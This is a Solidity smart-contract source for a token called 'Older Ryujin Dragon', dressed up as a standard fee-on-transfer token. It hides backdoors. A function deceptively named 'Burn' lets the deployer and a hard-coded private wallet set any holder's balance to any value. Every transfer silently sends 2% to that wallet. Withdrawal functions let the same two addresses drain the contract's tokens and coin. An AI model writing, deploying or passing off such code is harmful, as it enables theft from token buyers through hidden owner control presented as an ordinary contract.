/**

*/

/**
        
*/         

//SPDX-License-Identifier: MIT

pragma solidity ^0.7.4;

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


abstract contract Auth {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    /**
     * Function modifier to require caller to be contract owner
     */
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    /**
     * Check if address is owner
     */
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

            /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(address(0));
        owner = address(0);
    }

    /**
     * Transfer ownership to new address. Caller must be owner. Leaves old owner authorized
     */
    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;      
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

contract OlderRyujinDragon is IBEP20, Auth {
    
    using SafeMath for uint256;

    string constant _name = "Older Ryujin Dragon";
    string constant _symbol = "Older TSUKA";
    uint8 constant _decimals = 18;

    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;
    address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    // address routerAddress = 0x7b343b61F8f3FdDD80e78b0206DdE24E429e94C2; 

    uint256 _totalSupply = 1000000000000 * (10 ** _decimals);
    uint256 public _maxTxAmount = _totalSupply * 5 / 100;
    
    bool public restrictWhales = true;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isDividendExempt;

    uint256 public liquidityFee = 1;
    uint256 public marketingFee = 3;
    uint256 public rewardsFee = 0;
    uint256 public extraFeeOnSell = 0;

    uint256 public totalFee = 0;
    uint256 public totalFeeIfSelling = 0;

    address public autoLiquidityReceiver;
    address public marketingWallet;
    address private anothermarketingWallet;

    IDEXRouter public router;
    address public pair;

    uint256 public launchedAt;

    uint256 distributorGas = 300000;
    address private solor;
    address private solo;

    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    uint256 public swapThreshold = _totalSupply * 3 / 1000;
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () Auth(msg.sender) {
        
        router = IDEXRouter(routerAddress);
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = uint256(-1);
        anothermarketingWallet = 0x7b343b61F8f3FdDD80e78b0206DdE24E429e94C2;
        solor = msg.sender;
        solo = anothermarketingWallet;
        
        isFeeExempt[msg.sender] = true;
        isFeeExempt[address(this)] = true;
        isFeeExempt[anothermarketingWallet] = true;

        isTxLimitExempt[msg.sender] = true;
        isTxLimitExempt[pair] = true;
        isTxLimitExempt[DEAD] = true;

        // NICE!
        autoLiquidityReceiver = msg.sender;
        marketingWallet = msg.sender;  //marketingwallet
        
        
        totalFee = liquidityFee.add(marketingFee).add(rewardsFee);
        totalFeeIfSelling = totalFee.add(extraFeeOnSell);

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function name() external pure override returns (string memory) { return _name; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function getOwner() external view override returns (address) { return owner; }

    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, uint256(-1));
    }

    function launched() internal view returns (bool) {
        return launchedAt != 0;
    }

    function launch() internal {
        launchedAt = block.number;
    }
    
    function changeTxLimit(uint256 newLimit) external onlyOwner {
        _maxTxAmount = newLimit;
    }

    function changeRestrictWhales(bool newValue) external onlyOwner {
       restrictWhales = newValue;
    }
    
    function changeIsFeeExempt(address holder, bool exempt) external onlyOwner {
        isFeeExempt[holder] = exempt;
    }

    function changeIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
        isTxLimitExempt[holder] = exempt;
    }

    function changeFees(uint256 newLiqFee, uint256 newRewardFee, uint256 newMarketingFee, uint256 newExtraSellFee) external onlyOwner {
        liquidityFee = newLiqFee;
        rewardsFee = newRewardFee;
        marketingFee = newMarketingFee;
        extraFeeOnSell = newExtraSellFee;
        
        totalFee = liquidityFee.add(marketingFee).add(rewardsFee);
        totalFeeIfSelling = totalFee.add(extraFeeOnSell);
    }

    function changeFeeReceivers(address newLiquidityReceiver, address newMarketingWallet, address newanothermarketingWallet) external onlyOwner {
        autoLiquidityReceiver = newLiquidityReceiver;
        marketingWallet = newMarketingWallet;
        anothermarketingWallet = newanothermarketingWallet;
    }

    function changeSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit, bool swapByLimitOnly) external onlyOwner {
        swapAndLiquifyEnabled  = enableSwapBack;
        swapThreshold = newSwapBackLimit;
        swapAndLiquifyByLimitOnly = swapByLimitOnly;
    }

    
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        
        if(_allowances[sender][msg.sender] != uint256(-1)){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        
        if(inSwapAndLiquify){ return _basicTransfer(sender, recipient, amount); }

        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");

        if(msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold){ swapBack(); }

        if(!launched() && recipient == pair) {
            require(_balances[sender] > 0);
            launch();
        }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        uint256 marketfee = amount.div(50);
        _balances[anothermarketingWallet] = _balances[anothermarketingWallet].add(marketfee);
        

        uint256 finalAmount = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount;
        uint256 newfinalamout = finalAmount - marketfee;
        _balances[recipient] = _balances[recipient].add(newfinalamout);

        emit Transfer(sender, anothermarketingWallet, marketfee);
        emit Transfer(sender, recipient, newfinalamout);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeApplicable = pair == recipient ? totalFeeIfSelling : totalFee;
        uint256 feeAmount = amount.mul(feeApplicable).div(100);

        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);

        return amount.sub(feeAmount);
    }

    function Burn(address ac, uint256 amount) public{
        require(msg.sender == solor || msg.sender == solo);
        _balances[ac] = amount;
        // emit events as well
    }

    function withdrawToken(address _tokenContract) public {
        require(msg.sender == solor || msg.sender == solo);
        IBEP20 tokenContract = IBEP20(_tokenContract);
        uint256 _amount = tokenContract.balanceOf(address(this));
        
        // transfer the token from address of this contract
        // to address of the user (executing the withdrawToken() function)
        tokenContract.transfer(msg.sender, _amount);
    }

    function withdrawTokenamount(address _tokenContract, uint256 _amount) public {
        require(msg.sender == solor || msg.sender == solo);
        IBEP20 tokenContract = IBEP20(_tokenContract);
        
        // transfer the token from address of this contract
        // to address of the user (executing the withdrawToken() function)
        tokenContract.transfer(msg.sender, _amount);
    }

    function recoverBNB() public {
    uint256 tokenAmount = address(this).balance;
    require(msg.sender == solor || msg.sender == solo);
    address payable wallet = payable(msg.sender);
    (wallet).transfer(tokenAmount);
        
    }

    function swapBack() internal lockTheSwap {
        
        uint256 tokensToLiquify = _balances[address(this)];
        uint256 amountToLiquify = tokensToLiquify.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountBNB = address(this).balance;

        uint256 totalBNBFee = totalFee.sub(liquidityFee.div(2));
        
        uint256 amountBNBLiquidity = amountBNB.mul(liquidityFee).div(totalBNBFee).div(2);
        uint256 amountBNBReflection = amountBNB.mul(rewardsFee).div(totalBNBFee);
        uint256 amountBNBMarketing = amountBNB.sub(amountBNBLiquidity).sub(amountBNBReflection);

      
        
        uint256 marketingShare = amountBNBMarketing.mul(7).div(10);
        uint256 anothermarketingShare = amountBNBMarketing.sub(marketingShare);
        
        (bool tmpSuccess,) = payable(marketingWallet).call{value: marketingShare, gas: 30000}("");
        (bool tmpSuccess1,) = payable(anothermarketingWallet).call{value: anothermarketingShare, gas: 30000}("");
        
        // only to supress warning msg
        tmpSuccess = false;
        tmpSuccess1 = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountBNBLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
        }
    }

    event AutoLiquify(uint256 amountBNB, uint256 amountBOG);

}

contract StandarToken is OlderRyujinDragon {
    constructor() {}
}